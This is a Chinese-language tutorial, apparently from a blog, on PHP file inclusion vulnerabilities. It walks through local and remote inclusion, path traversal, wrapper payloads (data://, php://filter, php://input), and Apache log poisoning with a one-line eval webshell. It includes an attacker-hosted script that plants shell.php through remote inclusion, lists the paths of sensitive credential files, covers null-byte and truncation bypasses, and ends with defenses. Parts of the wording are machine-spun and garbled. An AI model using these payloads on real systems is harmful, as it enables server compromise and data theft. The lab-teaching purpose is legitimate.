但是条件也是当文件包含的代码文件被当作一个变量来利用,并且能够被用户传入参数,如果没有对该变量做相应的安全防护,就可能会引发出文件包含漏洞。
1.3.文件包含的函数1.3.1.常见的文件包含函数PHP:include() 、include_once()、require()、require_once()JSP/Servlet:ava.io.file()、java.io.filereader()ASP:include file、include virtual
1.3.2.PHP函数差异:
文件包含漏洞在PHP中是比较多的,像JSP、ASP这方面的漏洞是比较少的,但这并不是说就不存在。
include:包含并运行指定的文件,包含文件发生缺点时,程序警告,但会连续实行。

include_once:和 include 类似,不同处在于 include_once 会检讨这个文件是否已经被导入,如果已导入,下文便不会再导入,直面 once 理解便是只导入一次。
require:包含并运行指定的文件,包含文件发生缺点时,程序直接终止实行。
require_once:和 require 类似,不同处在于 require_once 只导入一次。
1.4.文件包含漏洞特色其实在文件包含在URL中能够明显的看出来,但是不代表含有这些特色就一定有文件包含漏洞。只不过有这些特色可以进行判断是存在文件包含的,但是能不能利用是另一方面。
比如:
http://www.xxx.com/index.php/?name=x.phphttp://www.xxx.com/index.php/?file=index2
1.5.文件包含漏洞分类1.5.1.本地文件包含漏洞
本地文件包含,通过意思就能够理解,便是在条件许可的情形下,所谓的条件许可也便是安全防护没做到位,通过这个条件对文件路径加 载文件,就形成了本地文件包含。
1.5.1.1.本地文件包含漏洞案例例如php代码:
<?php$filename=$_GET[name];include($filename);?>
在我网站根目录下面有一个index.php,通过文件包含进行实行,就形成了本地文件包含,若这个name参数能够被用户掌握,那么就形成了本地文件包含漏洞。
1.5.2.远程文件包含漏洞
远程文件包含漏洞导致的缘故原由和本地文件包含漏洞造成的缘故原由是一样的,只不过远程文件包含漏洞是利用外部的做事器中的文件进行实行,就形成了远程文件包含漏洞。
但是条件是须要在php.ini中的配置选项中allow_url_fopen和allow_url_include为ON。
1.5.2.1.远程文件包含漏洞案例
准备两台虚拟机,一台做网站做事器,其余一台做攻击者主机。 网站做事器:192.168.10.150 攻击者主机:192.168.10.50
网站做事器php代码:<?php$filename=$_GET[name];include($filename);?>
攻击者主机php代码:<?php phpinfo();?>
攻击者访问做事器网站,并把主机上确当地文件进行远程文件包含。
1.6.文件包含漏洞危害
读取WEB做事器上的配置文件以及WEB做事器上的敏感文件,并且若和webshell联动,并将恶意代码实行将造成更大的危害,常日来说远程文件包含漏洞危害更大。
1.7.文件包含漏洞特点1.7.1.忽略文件扩展名在PHP中当利用上面的一些函数的时候,这个文件就会被当作PHP代码进行实行,PHP内核并不会在意包含的文件是什么类型的,也便是说当发过来的是.png的文件也会被当作PHP实行。
1.7.1.1.忽略文件扩展名案例例如这里将原来含有<?php phpinfo();?>代码的php文件后缀名修正为jpg的时候,依旧实行了php代码。
1.7.2.无条件解析PHP代码
文件包含漏洞在读取源码的时候,若碰着符合PHP语法规范的代码,将会无条件实行。
2.文件包含漏洞利用办法2.1.判断做事器类型实在判断做事器类型还是很好判断的,当我们读取一个文件的时候在linux系统该然后读取?
在linux系统当存在1.php的时候读取便是cat 1.php,而且读取的内容如果是:“I Love You”,若是读取1.Php那么还能够显示"I Love You"吗?结果肯定是弗成的,由于在linux中是严格区分大小写的。而在windows中是不区分大小写的,这里就可以利用windows进行测试。
通过上面的图片能够看出来,我在URL中读取的是1.phP,但文件夹中只有2.php,但依旧显示PHP的默认文件。这就验证了我上面提到的Windows是不区分大小写的。
2.2.敏感文件读取所谓读取敏感文件,便是将WEB做事器上一些其他文件读取出来,这些其他文件中可能包含一些敏感文件,私密文件或者是一些数据、表格等。
2.2.1.绝对路径读取绝对路径是指目录下的绝对位置,直接到达目标位置,常日是从盘符开始的路径,绝对路径读取便是通过明确的路径进行读取文件,比如windows或者linxu中的一些日志文件存在的路径,或者一些配置文件存放的路径。
2.2.1.1.windows敏感文件绝对路径C:\boot.ini #查看系统版本C:\windows\system32\inetsrv\MetaBase.xml #IIS配置文件C:\windows\repair\sam #存储Windows的密码C:\programFiles\mysql\my.ini #mysql配置文件,里面可能有密码C:\programFiles\mysql\data\mysql\user.MYD #mysql root密码C:\windows\php.ini #php配置文件
/etc/passwd #用户密码/usr/local/app/apache2/conf/httpd.conf #apache2默认配置文件/usr/local/app/apache2/conf/extra/httpd-vhosts.conf #虚拟网站设置/usr/local/app/php5/lib/php.ini #php干系设置/etc/httpd/conf/httpd.conf #apache配置文件/etc/my.cnf #mysql配置文件/etc/sysconfig/iptables #查看防火墙策略
2.2.1.3.绝对路径读取案例
通过URL看到我这里是直接读取我C:\tool\PHPTutorial\1.txt的文件。
2.2.2.相对路径读取
相对路径便是指由这个文件所在的路径引起的跟其它文件(或文件夹)的路径关系。相对路径读取便是当我们不知道某个文件详细路径的时候,利用相对路径以当前位置作为参看向退却撤退,逐次访问。
2.2.2.1.相对路径读取办法相对利用读取办法就须要利用"…/“来进行读取,一次”…/“向退却撤退一次。
例如:当我们在C:\tool\PHPTutorial\www的时候,那么我们利用”…/“的时候我们就退到C:\tool\PHPTutorial,若利用两次”…/“的时候就会退到C:\tool,两次”…/“也便是”…/…/"就可以了。
2.2.2.2.相对路径读取案例1这里我把1.txt创建在C:\tool\PHPTutorial目录下,而现在这个文件包含漏洞放在www下也便是C:\tool\PHPTutorial\www,以是这里我只须要输入一次"…/"就可以读取到1.txt了。
2.2.2.3.相对路径读取案例2
这里我们思考一下若我们要访问C:\windows\win.ini,该怎么读取呢?实在这里可以先退到根目录下也便是C盘下,然后在访问windows中的win.ini。
目前我们在C:\tool\PHPTutorial\www下面,那么可以算一下我们要退几次?这里通过目录也能够看出来,这里只须要退三次就可以到C盘下了。
这里由于无法在C盘中创建文件,就无法演示了,那么这里我们直接读取C:\windows\win.ini吧。
2.2.2.4.相对路径读取案例3
这里又涌现一个问题,若我们并不知道我们存在那个目录下,更不知道该退几级怎么办?实在这里通过"…/“退可以多退几次,由于终极只能够退到C盘,以是在不知道几级的情形下,可以多输入几个”…/“。
可以看我下面的图片,我原来只须要退三次就可以了,而我这里退八次依旧能读取到,以是就能证明刚刚我所阐明的,不管输入多少个”…/"终极只会退到C盘。
2.3.远程文件读取
远程文件包含大概意思在之前已经提过了,这里就演示一下案例。
条件条件:目标做事器的allow_url_fopen选项是on。只有当这个选项是on的时候就能够利用远程文件包含一句话木马。
2.3.1.远程文件合营一句话木马案例网站做事器:192.168.10.150 攻击者主机:192.168.10.50
攻击者php代码:<?php fputs(fopen("shell.php", "w"),"<?php @eval($_POST['pass']);?>")?>
这句话的意思便是当访问这个php代码后就会在当前目录天生一个shell.php文件,并且这个文件中含有一句话木马。
通过查看做事器网站根目录,可以看到这里已经创建了一个名为shell.php的文件。那么我们通过这个文件利用蚁剑进行连接。
通过上面的图片可以看到,我们已经成功连接了。这里须要把稳的是,我们这个地址是知道的,若在实际环境中操作的时候可能须要把稳查找路径。
2.4.伪协议读取2.4.1.PHP伪协议先容file:// #访问本地文件系统http:// #访问HTTPs网址ftp:// #访问ftp URLphp:// #访问输入输出流zlib:// #压缩流data:// #数据ssh2:// #security shell2expect:// #处理交互式的流glob:// #查找匹配的文件路径
这里举几个例子进行演示一下,由于部分伪协议须要且版本并且须要调配置,这里就不来回切换了。
2.4.2.1.file利用办法file实在和绝对路径读取差不多。
URL:http://192.168.10.150/1.php/?name=file://C:/Windows/win.ini
实在http这里的利用办法,除了能够跳转,还能进行远程包含进行漏洞实行。
URL:http://192.168.10.150/1.php/?name=http://www.baidu.com
从php5.2.0起,数据流封装器开始有效,紧张用于数据流的读取。如果传入的数据是php代码,就会实行任意代码。 这里须要把稳若利用data的话须要allow_url_include 和allow_url_fopen为on。
URL:http://192.168.10.150/1.php/?name=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4="PD9waHAgcGhwaW5mbygpPz4="是通过base64加密的<?php phpinfo();?>。
1)php://filter
php://filter 可以在实行代码前将代码换个办法读取出来,只是读取,不须要开启,读取源代码并进行 base64 编码输出,不然会直接当做 php 代码实行就看不到源代码内容了
用法:php://filter/read=convert.base64-encode/resource=要读取的文件
URL:http://192.168.10.150/1.php/?name=php://filter/read=convert.base64-encode/resource=2.php解密:<?php phpinfo();?>
当然里不单单只能读取当前目录下的文件,这里就演示一下其余一种读取办法,我将文件放在上一级目录中,通过php进行读取。
URL:http://192.168.10.150/1.php/?name=php://filter/read=convert.base64-encode/resource=../2.php
仔细看URL连接就能看出来,这里利用了之条件到的相对路径读取。
2)php://input php://input紧张是用来实行php代码的,不过php://input须要以POST提交,这里我们先在URL中添加php://input然后抓包把GET修正为POST,末了在数据包的末了输入想要实行的代码就可以实当代码实行。
URL:http://192.168.10.150/1.php/?name=php://input
2.5.文件包含日志读取
日志会记录客户端要求及做事器相应的信息,访问http://www.xx.com/<?php phpinfo(); ?>时,<?php phpinfo(); ?>也会被记录在日志里,也可以插入到User-Agent,但是要求的信息有可能被url编码之后记录日志,这里可以通过burp来发送要求包来防止被编码,通过相对路径找到日志文件,利用包含漏洞实行。
2.5.1.各种日志存在位置 2.5.1.1.Apacheapache存在两个文件日志文件,access.log是记录登录等信息的日志文件,而error.log是缺点文件。
1)Windows系统:apache安装目录/logs/access.log或者error.log2)linux系统:/var/log/apache/access.log或者error.log/var/log/apache2/access.log或者error.log/etc/httpd/logs/access_log或者error.log
2.5.1.2.Nginx
nginx存在两个文件日志文件,access.log是记录登录等信息的日志文件,而error.log是缺点文件。
1)Windows系统:nginx安装目录/logs/access.log或者error.log2)linux系统:/var/log/nginx/access.log或者error.log
2.5.1.3.IIS
1)iis6.0版本C:\windows\system32\LogFiles2)iis7.5版本%SystemDrive%\inetpub\logs\LogFiles
2.5.2.包含Apache日志案例
Apache运行后一样平常默认会天生两个日志文件,access.log(访问日志),error.log(缺点日志)。
下图便是被转码的,只须要手动修正一下重新发送即可。
URL:http://192.168.10.150/<?php @eval($_POST[123]);?>
在apache/logs/access.log中就能够看到我们植入的恶意代码。编号①是没利用burp修正前的,编号②是利用burp修正后的。
通过对本地的日志文件进行包含读取,输入123=phpinfo();。
URL:http://192.168.10.150/1.php/?name=../Apache/logs/error.log
当然也可以利用蚁剑来进行连接。
URL:http://192.168.10.150/1.php/?name=../Apache/logs/error.log连接密码:123
空字符绕过是存在PHP小于5.3.4版本的一个漏洞,这个漏洞便是用于吸收来自路径中的空字符,这样在部分需求下攻击者可以利用将此字符放置安全文件后面来绕过访问限定。
条件条件便是须要PHP版本小于5.3.4,并且关闭PHP魔术勾引。
3.1.1.1.PHP魔术勾引先容当sql句中含有单引号,双引号,反斜杠和NUL时,这时候如果不对这些符号进行转义,写入数据库时就会出错,而魔术引号magic_quotes_gpc()便是对这些符号进行转义以便能把数据精确写入数据库。不过该参数在php.ini文件中修正。
PHP魔术引号特性已自 PHP5.3.0起废弃并将自PHP5.4.0起移除。也便是说在本实验环境的PHP版本中仍是存在的
3.1.1.2.条件准备靶机版本切换至php-5.2.17+apache,并且把魔术勾引关闭。
新建PHP代码:<?php$name=$_GET['name'];include($name.".html");?>
3.1.1.3.空字符绕过案例
在正常访问的时候可以创造访问的文件后面被添加了.html。
若这里没有关闭魔术勾引而直接通过空字符绕过就会变成2.php\0.html。但是这里关闭魔术勾引后再利用空字符绕过就能够显斧正常了。
URL:http://192.168.10.150/1.php/?name=2.php%00
超长字符截断便是利用操作系统对目录最大长度的限定,在Windows中目录长度不可以超过256字节,linux中目录长度不可以超过4096字节。超过的部分会被丢弃。
可以利用"./“进行添补,当然不单单”./“可以添补,利用”."也可以,至于还有那些可以绕过,可以自己去试试。
3.1.2.1.超长字符绕过案例正常访问的我们就不去考试测验了,直策应用超长字符绕过吧,这里在测试的时候创造,在利用"./“进行绕过的时候不能全部利用”./“须要参合点”/“,不过测试后创造,只须要在读取确当地文件后面多添加几个”/"。
3.2.远程文件包含绕过3.2.1.空字符绕过
这里的绕过和本地文件包含绕过一样。
3.2.2.超长字符绕过
这里我测试后创造,远程文件包含彷佛只能利用"./“,其它的像”.“”,“”。“”:"都不能饶过。
3.2.3.?绕过
3.2.4.常见分外字符编码3.2.5.#绕过这里我使了一下直策应用#并不能绕过,须要输入编码%23才能够生效,在绕过的时候须要把稳一下。
3.2.6.空格绕过
这里也是一样须要利用编码%20进行绕过,不能直接输入空格。
4.文件包含漏洞防御
1)设置白名单:若是在编写代码的时候能够确定文件包含的文件名的时候,那么最好利用白名单进行参数传入。
2)过滤危险字符:由于Incbude/Require可以对PHP Wrapper形式的地址进行包含实行(须要配置php.ini), 在Linux环境中可以通过"…/…/"的形式进行目录绕过,以是须要判断文件名称是否为合法的PHP文件。
3)设置文件目录:PHP配置文件中有open_basedir选项可以设置用户须要实行的文件目录,如果设置目录的话,PHP仅仅在该目录内搜索文件。
4)关闭危险配置:PHP配置中的allow_url_include选项如果打开,PHP会通过Include/Require进行远程文件包含,由于远程文件的不可信赖性及不愿定性,在开拓中禁止打开此选项,PHP默认是关闭的。